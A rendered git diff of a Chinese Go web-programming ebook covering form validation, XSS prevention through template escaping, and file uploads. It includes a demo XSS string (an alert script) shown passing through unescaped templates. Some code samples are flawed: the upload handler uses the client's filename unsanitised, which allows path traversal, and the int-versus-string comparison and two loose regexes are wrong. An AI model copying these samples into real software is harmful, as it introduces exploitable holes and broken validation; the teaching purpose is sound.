<option value="apple">apple</option>
|
||||
<option value="pear">pear</option>
|
||||
<option value="banane">banane</option>
|
||||
</select>
|
||||
|
||||
那么我们可以这样来验证
|
||||
|
||||
slice:=[]string{"apple","pear","banane"}
|
||||
|
||||
for _, v := range slice {
|
||||
if v == r.Form.Get("fruit") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
上面这个函数包含在我开源的一个库里面(操作slice和map的库),[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku)
|
||||
|
||||
## 单选按钮
|
||||
如果我们想要判断radio按钮是否有一个被选中了,我们页面的输出可能就是一个男、女性别的选择,但是也可能一个15岁大的无聊小孩,一手拿着http协议的书,另一只手通过telnet客户端向你的程序在发送请求呢,你设定的性别男值是1,女是2,他给你发送一个3,你的程序会出现异常吗?因此我们也需要像下拉菜单的判断方式类似,判断我们获取的值是我们预设的值,而不是额外的值。
|
||||
|
||||
<input type="radio" name="gender" value="1">男
|
||||
<input type="radio" name="gender" value="2">女
|
||||
|
||||
那我们也可以类似下拉菜单的做法一样
|
||||
|
||||
slice:=[]int{1,2}
|
||||
|
||||
for _, v := range slice {
|
||||
if v == r.Form.Get("gender") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
## 复选框
|
||||
有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。
|
||||
|
||||
<input type="checkbox" name="interest" value="football">足球
|
||||
<input type="checkbox" name="interest" value="basketball">篮球
|
||||
<input type="checkbox" name="interest" value="tennis">网球
|
||||
|
||||
对于复选框我们的验证和单选有点不一样,因为接收到的数据是一个slice
|
||||
|
||||
slice:=[]string{"football","basketball","tennis"}
|
||||
a:=Slice_diff(r.Form["interest"],slice)
|
||||
if a == nil{
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
|
||||
|
||||
## 日期和时间
|
||||
你想确定用户填写的日期或时间是否有效。例如
|
||||
,用户在日程表中安排8月份的第45天开会,或者提供未来的某个时间作为生日。
|
||||
|
||||
Go里面提供了一个time的处理包,我们可以把用户的输入年月日转化成相应的时间,然后进行逻辑判断
|
||||
|
||||
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
|
||||
fmt.Printf("Go launched at %s\n", t.Local())
|
||||
|
||||
获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。
|
||||
|
||||
## 身份证号码
|
||||
如果我们想验证表单输入的是否是身份证,通过正则也可以方便的验证,但是身份证有15位和18位,我们两个都需要验证
|
||||
|
||||
//验证15位身份证,15位的是全部数字
|
||||
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
//验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。
|
||||
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
上面列出了我们一些常用的服务器端的表单元素验证,希望通过这个引导入门,能够让你对Go的数据验证有所了解,特别是Go里面的正则处理。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [处理表单的输入](<04.1.md>)
|
||||
* 下一节: [预防跨站脚本](<04.3.md>)
|
||||
# 4.2 验证表单的输入
|
||||
|
||||
开发Web的一个原则就是,不能信任用户输入的任何信息,所以验证和过滤用户的输入信息就变得非常重要,我们经常会在微博、新闻中听到某某网站被入侵了,存在什么漏洞,这些大多是因为网站对于用户输入的信息没有做严格的验证引起的,所以为了编写出安全可靠的Web程序,验证表单输入的意义重大。
|
||||
|
||||
我们平常编写Web应用主要有两方面的数据验证,一个是在页面端的js验证(目前在这方面有很多的插件库,比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。
|
||||
|
||||
## 必填字段
|
||||
你想要确保从一个表单元素中得到一个值,例如前面小节里面的用户名,我们如何处理呢?Go有一个内置函数`len`可以获取字符串的长度,这样我们就可以通过len来获取数据的长度,例如:
|
||||
|
||||
if len(r.Form["username"][0])==0{
|
||||
//为空的处理
|
||||
}
|
||||
|
||||
`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮,则根本不会在r.Form中产生相应条目,如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值,如果是map的值,必须通过上面的方式来获取。
|
||||
|
||||
## 数字
|
||||
你想要确保一个表单输入框中获取的只能是数字,例如,你想通过表单获取某个人的具体年龄是50岁还是10岁,而不是像“一把年纪了”或“年轻着呢”这种描述
|
||||
|
||||
如果我们是判断正整数,那么我们先转化成int类型,然后进行处理
|
||||
|
||||
getint,err:=strconv.Atoi(r.Form.Get("age"))
|
||||
if err!=nil{
|
||||
//数字转化出错了,那么可能就不是数字
|
||||
}
|
||||
|
||||
//接下来就可以判断这个数字的大小范围了
|
||||
if getint >100 {
|
||||
//太大了
|
||||
}
|
||||
|
||||
还有一种方式就是正则匹配的方式
|
||||
|
||||
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
对于性能要求很高的用户来说,这是一个老生常谈的问题了,他们认为应该尽量避免使用正则表达式,因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下,对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉,而且你在其它语言中也在使用它,那么在Go里面使用正则表达式将是一个便利的方式。
|
||||
|
||||
>Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax),所有的字符都是UTF-8编码的。
|
||||
|
||||
## 中文
|
||||
有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有效的验证只有正则方式来验证,如下代码所示
|
||||
|
||||
if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
## 英文
|
||||
我们期望通过表单元素获取一个英文值,例如我们想知道一个用户的英文名,应该是astaxie,而不是asta谢。
|
||||
|
||||
我们可以很简单的通过正则验证数据:
|
||||
|
||||
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
## 电子邮件地址
|
||||
你想知道用户输入的一个Email地址是否正确,通过如下这个方式可以验证:
|
||||
|
||||
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
|
||||
fmt.Println("no")
|
||||
}else{
|
||||
fmt.Println("yes")
|
||||
}
|
||||
|
||||
|
||||
## 手机号码
|
||||
你想要判断用户输入的手机号码是否正确,通过正则也可以验证:
|
||||
|
||||
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
## 下拉菜单
|
||||
如果我们想要判断表单里面`<select>`元素生成的下拉菜单中是否有被选中的项目。有些时候黑客可能会伪造这个下拉菜单不存在的值发送给你,那么如何判断这个值是否是我们预设的值呢?
|
||||
|
||||
我们的select可能是这样的一些元素
|
||||
|
||||
<select name="fruit">
|
||||
<option value="apple">apple</option>
|
||||
<option value="pear">pear</option>
|
||||
<option value="banane">banane</option>
|
||||
</select>
|
||||
|
||||
那么我们可以这样来验证
|
||||
|
||||
slice:=[]string{"apple","pear","banane"}
|
||||
|
||||
for _, v := range slice {
|
||||
if v == r.Form.Get("fruit") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
上面这个函数包含在我开源的一个库里面(操作slice和map的库),[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku)
|
||||
|
||||
## 单选按钮
|
||||
如果我们想要判断radio按钮是否有一个被选中了,我们页面的输出可能就是一个男、女性别的选择,但是也可能一个15岁大的无聊小孩,一手拿着http协议的书,另一只手通过telnet客户端向你的程序在发送请求呢,你设定的性别男值是1,女是2,他给你发送一个3,你的程序会出现异常吗?因此我们也需要像下拉菜单的判断方式类似,判断我们获取的值是我们预设的值,而不是额外的值。
|
||||
|
||||
<input type="radio" name="gender" value="1">男
|
||||
<input type="radio" name="gender" value="2">女
|
||||
|
||||
那我们也可以类似下拉菜单的做法一样
|
||||
|
||||
slice:=[]int{1,2}
|
||||
|
||||
for _, v := range slice {
|
||||
if v == r.Form.Get("gender") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
|
||||
## 复选框
|
||||
有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。
|
||||
|
||||
<input type="checkbox" name="interest" value="football">足球
|
||||
<input type="checkbox" name="interest" value="basketball">篮球
|
||||
<input type="checkbox" name="interest" value="tennis">网球
|
||||
|
||||
对于复选框我们的验证和单选有点不一样,因为接收到的数据是一个slice
|
||||
|
||||
slice:=[]string{"football","basketball","tennis"}
|
||||
a:=Slice_diff(r.Form["interest"],slice)
|
||||
if a == nil{
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
|
||||
|
||||
## 日期和时间
|
||||
你想确定用户填写的日期或时间是否有效。例如
|
||||
,用户在日程表中安排8月份的第45天开会,或者提供未来的某个时间作为生日。
|
||||
|
||||
Go里面提供了一个time的处理包,我们可以把用户的输入年月日转化成相应的时间,然后进行逻辑判断
|
||||
|
||||
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
|
||||
fmt.Printf("Go launched at %s\n", t.Local())
|
||||
|
||||
获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。
|
||||
|
||||
## 身份证号码
|
||||
如果我们想验证表单输入的是否是身份证,通过正则也可以方便的验证,但是身份证有15位和18位,我们两个都需要验证
|
||||
|
||||
//验证15位身份证,15位的是全部数字
|
||||
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
//验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。
|
||||
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
上面列出了我们一些常用的服务器端的表单元素验证,希望通过这个引导入门,能够让你对Go的数据验证有所了解,特别是Go里面的正则处理。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [处理表单的输入](<04.1.md>)
|
||||
* 下一节: [预防跨站脚本](<04.3.md>)
|
||||
136
04.3.md → ebook/04.3.md
Executable file → Normal file
136
04.3.md → ebook/04.3.md
Executable file → Normal file
@@ -1,68 +1,68 @@
|
||||
# 4.3 预防跨站脚本
|
||||
|
||||
现在的网站包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。
|
||||
|
||||
攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户信息,修改用户设置,盗取/污染cookie和植入恶意广告等。
|
||||
|
||||
对XSS最佳的防护应该结合以下两种方法:一是验证所有输入数据,有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。
|
||||
|
||||
那么Go里面是怎么做这个有效防护的呢?Go的html/template里面带有下面几个函数可以帮你转义
|
||||
|
||||
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
|
||||
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
|
||||
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
|
||||
|
||||
|
||||
我们看4.1小节的例子
|
||||
|
||||
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
|
||||
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
|
||||
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
|
||||
|
||||
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示:
|
||||
|
||||

|
||||
|
||||
图4.3 Javascript过滤之后的输出
|
||||
|
||||
Go的html/template包默认帮你过滤了html标签,但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息,该怎么处理?请使用text/template。请看下面的例子:
|
||||
|
||||
import "text/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
|
||||
|
||||
输出
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
或者使用template.HTML类型
|
||||
|
||||
import "html/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
|
||||
|
||||
输出
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
转换成`template.HTML`后,变量的内容也不会被转义
|
||||
|
||||
转义的例子:
|
||||
|
||||
import "html/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
|
||||
|
||||
转义之后的输出:
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [验证的输入](<04.2.md>)
|
||||
* 下一节: [防止多次递交表单](<04.4.md>)
|
||||
# 4.3 预防跨站脚本
|
||||
|
||||
现在的网站包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。
|
||||
|
||||
攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户信息,修改用户设置,盗取/污染cookie和植入恶意广告等。
|
||||
|
||||
对XSS最佳的防护应该结合以下两种方法:一是验证所有输入数据,有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。
|
||||
|
||||
那么Go里面是怎么做这个有效防护的呢?Go的html/template里面带有下面几个函数可以帮你转义
|
||||
|
||||
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
|
||||
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
|
||||
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
|
||||
|
||||
|
||||
我们看4.1小节的例子
|
||||
|
||||
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
|
||||
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
|
||||
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
|
||||
|
||||
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示:
|
||||
|
||||

|
||||
|
||||
图4.3 Javascript过滤之后的输出
|
||||
|
||||
Go的html/template包默认帮你过滤了html标签,但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息,该怎么处理?请使用text/template。请看下面的例子:
|
||||
|
||||
import "text/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
|
||||
|
||||
输出
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
或者使用template.HTML类型
|
||||
|
||||
import "html/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
|
||||
|
||||
输出
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
转换成`template.HTML`后,变量的内容也不会被转义
|
||||
|
||||
转义的例子:
|
||||
|
||||
import "html/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
|
||||
|
||||
转义之后的输出:
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [验证的输入](<04.2.md>)
|
||||
* 下一节: [防止多次递交表单](<04.4.md>)
|
||||
0
04.4.md → ebook/04.4.md
Executable file → Normal file
0
04.4.md → ebook/04.4.md
Executable file → Normal file
310
04.5.md → ebook/04.5.md
Executable file → Normal file
310
04.5.md → ebook/04.5.md
Executable file → Normal file
@@ -1,155 +1,155 @@
|
||||
# 4.5 处理文件上传
|
||||
你想处理一个由用户上传的文件,比如你正在建设一个类似Instagram的网站,你需要存储用户拍摄的照片。这种需求该如何实现呢?
|
||||
|
||||
要使表单能够上传文件,首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况:
|
||||
|
||||
application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
|
||||
multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
|
||||
text/plain 空格转换为 "+" 加号,但不对特殊字符编码。
|
||||
|
||||
所以,表单的html代码应该类似于:
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>上传文件</title>
|
||||
</head>
|
||||
<body>
|
||||
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
|
||||
<input type="file" name="uploadfile" />
|
||||
<input type="hidden" name="token" value="{{.}}"/>
|
||||
<input type="submit" value="upload" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
在服务器端,我们增加一个handlerFunc:
|
||||
|
||||
http.HandleFunc("/upload", upload)
|
||||
|
||||
// 处理/upload 逻辑
|
||||
func upload(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Println("method:", r.Method) //获取请求的方法
|
||||
if r.Method == "GET" {
|
||||
crutime := time.Now().Unix()
|
||||
h := md5.New()
|
||||
io.WriteString(h, strconv.FormatInt(crutime, 10))
|
||||
token := fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
t, _ := template.ParseFiles("upload.gtpl")
|
||||
t.Execute(w, token)
|
||||
} else {
|
||||
r.ParseMultipartForm(32 << 20)
|
||||
file, handler, err := r.FormFile("uploadfile")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
fmt.Fprintf(w, "%v", handler.Header)
|
||||
f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
io.Copy(f, file)
|
||||
}
|
||||
}
|
||||
|
||||
通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。
|
||||
|
||||
>获取其他非文件字段信息的时候就不需要调用`r.ParseForm`,因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。
|
||||
|
||||
通过上面的实例我们可以看到我们上传文件主要三步处理:
|
||||
|
||||
1. 表单中增加enctype="multipart/form-data"
|
||||
2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中
|
||||
3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。
|
||||
|
||||
文件handler是multipart.FileHeader,里面存储了如下结构信息
|
||||
|
||||
type FileHeader struct {
|
||||
Filename string
|
||||
Header textproto.MIMEHeader
|
||||
// contains filtered or unexported fields
|
||||
}
|
||||
|
||||
我们通过上面的实例代码打印出来上传文件的信息如下
|
||||
|
||||

|
||||
|
||||
图4.5 打印文件上传后服务器端接受的信息
|
||||
|
||||
## 客户端上传文件
|
||||
|
||||
我们上面的例子演示了如何通过表单上传文件,然后在服务器端处理文件,其实Go支持模拟客户端表单功能支持文件上传,详细用法请看如下示例:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
)
|
||||
|
||||
func postFile(filename string, targetUrl string) error {
|
||||
bodyBuf := &bytes.Buffer{}
|
||||
bodyWriter := multipart.NewWriter(bodyBuf)
|
||||
|
||||
//关键的一步操作
|
||||
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
|
||||
if err != nil {
|
||||
fmt.Println("error writing to buffer")
|
||||
return err
|
||||
}
|
||||
|
||||
//打开文件句柄操作
|
||||
fh, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Println("error opening file")
|
||||
return err
|
||||
}
|
||||
|
||||
//iocopy
|
||||
_, err = io.Copy(fileWriter, fh)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
contentType := bodyWriter.FormDataContentType()
|
||||
bodyWriter.Close()
|
||||
|
||||
resp, err := http.Post(targetUrl, contentType, bodyBuf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
resp_body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println(resp.Status)
|
||||
fmt.Println(string(resp_body))
|
||||
return nil
|
||||
}
|
||||
|
||||
// sample usage
|
||||
func main() {
|
||||
target_url := "http://localhost:9090/upload"
|
||||
filename := "./astaxie.pdf"
|
||||
postFile(filename, target_url)
|
||||
}
|
||||
|
||||
|
||||
上面的例子详细展示了客户端如何向服务器上传一个文件的例子,客户端通过multipart.Write把文件的文本流写入一个缓存中,然后调用http的Post方法把缓存传到服务器。
|
||||
|
||||
>如果你还有其他普通字段例如username之类的需要同时写入,那么可以调用multipart的WriteField方法写很多其他类似的字段。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [防止多次递交表单](<04.4.md>)
|
||||
* 下一节: [小结](<04.6.md>)
|
||||
# 4.5 处理文件上传
|
||||
你想处理一个由用户上传的文件,比如你正在建设一个类似Instagram的网站,你需要存储用户拍摄的照片。这种需求该如何实现呢?
|
||||
|
||||
要使表单能够上传文件,首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况:
|
||||
|
||||
application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
|
||||
multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
|
||||
text/plain 空格转换为 "+" 加号,但不对特殊字符编码。
|
||||
|
||||
所以,表单的html代码应该类似于:
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>上传文件</title>
|
||||
</head>
|
||||
<body>
|
||||
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
|
||||
<input type="file" name="uploadfile" />
|
||||
<input type="hidden" name="token" value="{{.}}"/>
|
||||
<input type="submit" value="upload" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
在服务器端,我们增加一个handlerFunc:
|
||||
|
||||
http.HandleFunc("/upload", upload)
|
||||
|
||||
// 处理/upload 逻辑
|
||||
func upload(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Println("method:", r.Method) //获取请求的方法
|
||||
if r.Method == "GET" {
|
||||
crutime := time.Now().Unix()
|
||||
h := md5.New()
|
||||
io.WriteString(h, strconv.FormatInt(crutime, 10))
|
||||
token := fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
t, _ := template.ParseFiles("upload.gtpl")
|
||||
t.Execute(w, token)
|
||||
} else {
|
||||
r.ParseMultipartForm(32 << 20)
|
||||
file, handler, err := r.FormFile("uploadfile")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
fmt.Fprintf(w, "%v", handler.Header)
|
||||
f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
io.Copy(f, file)
|
||||
}
|
||||
}
|
||||
|
||||
通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。
|
||||
|
||||
>获取其他非文件字段信息的时候就不需要调用`r.ParseForm`,因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。
|
||||
|
||||
通过上面的实例我们可以看到我们上传文件主要三步处理:
|
||||
|
||||
1. 表单中增加enctype="multipart/form-data"
|
||||
2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中
|
||||
3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。
|
||||
|
||||
文件handler是multipart.FileHeader,里面存储了如下结构信息
|
||||
|
||||
type FileHeader struct {
|
||||
Filename string
|
||||
Header textproto.MIMEHeader
|
||||
// contains filtered or unexported fields
|
||||
}
|
||||
|
||||
我们通过上面的实例代码打印出来上传文件的信息如下
|
||||
|
||||

|
||||
|
||||
图4.5 打印文件上传后服务器端接受的信息
|
||||
|
||||
## 客户端上传文件
|
||||
|
||||
我们上面的例子演示了如何通过表单上传文件,然后在服务器端处理文件,其实Go支持模拟客户端表单功能支持文件上传,详细用法请看如下示例:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
)
|
||||
|
||||
func postFile(filename string, targetUrl string) error {
|
||||
bodyBuf := &bytes.Buffer{}
|
||||
bodyWriter := multipart.NewWriter(bodyBuf)
|
||||
|
||||
//关键的一步操作
|
||||
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
|
||||
if err != nil {
|
||||
fmt.Println("error writing to buffer")
|
||||
return err
|
||||
}
|
||||
|
||||
//打开文件句柄操作
|
||||
fh, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Println("error opening file")
|
||||
return err
|
||||
}
|
||||
|
||||
//iocopy
|
||||
_, err = io.Copy(fileWriter, fh)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
contentType := bodyWriter.FormDataContentType()
|
||||
bodyWriter.Close()
|
||||
|
||||
resp, err := http.Post(targetUrl, contentType, bodyBuf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
resp_body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println(resp.Status)
|
||||
fmt.Println(string(resp_body))
|
||||
return nil
|
||||
}
|
||||
|
||||
// sample usage
|
||||
func main() {
|
||||
target_url := "http://localhost:9090/upload"
|
||||
filename := "./astaxie.pdf"
|
||||
postFile(filename, target_url)
|
||||
}
|
||||
|
||||
|
||||
上面的例子详细展示了客户端如何向服务器上传一个文件的例子,客户端通过multipart.Write把文件的文本流写入一个缓存中,然后调用http的Post方法把缓存传到服务器。
|
||||
|
||||
>如果你还有其他普通字段例如username之类的需要同时写入,那么可以调用multipart的WriteField方法写很多其他类似的字段。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [防止多次递交表单](<04.4.md>)
|
||||
* 下一节: [小结](<04.6.md>)
|
||||
18
04.6.md → ebook/04.6.md
Executable file → Normal file
18
04.6.md → ebook/04.6.md
Executable file → Normal file
@@ -1,9 +1,9 @@
|
||||
# 4.6 小结
|
||||
这一章里面我们学习了Go如何处理表单信息,我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息,考虑到网站安全的重要性,数据过滤就显得相当重要了,因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤,顺带讲一下Go对字符串的正则处理。
|
||||
|
||||
通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [处理文件上传](<04.5.md>)
|
||||
* 下一章: [访问数据库](<05.0.md>)
|
||||
# 4.6 小结
|
||||
这一章里面我们学习了Go如何处理表单信息,我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息,考虑到网站安全的重要性,数据过滤就显得相当重要了,因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤,顺带讲一下Go对字符串的正则处理。
|
||||
|
||||
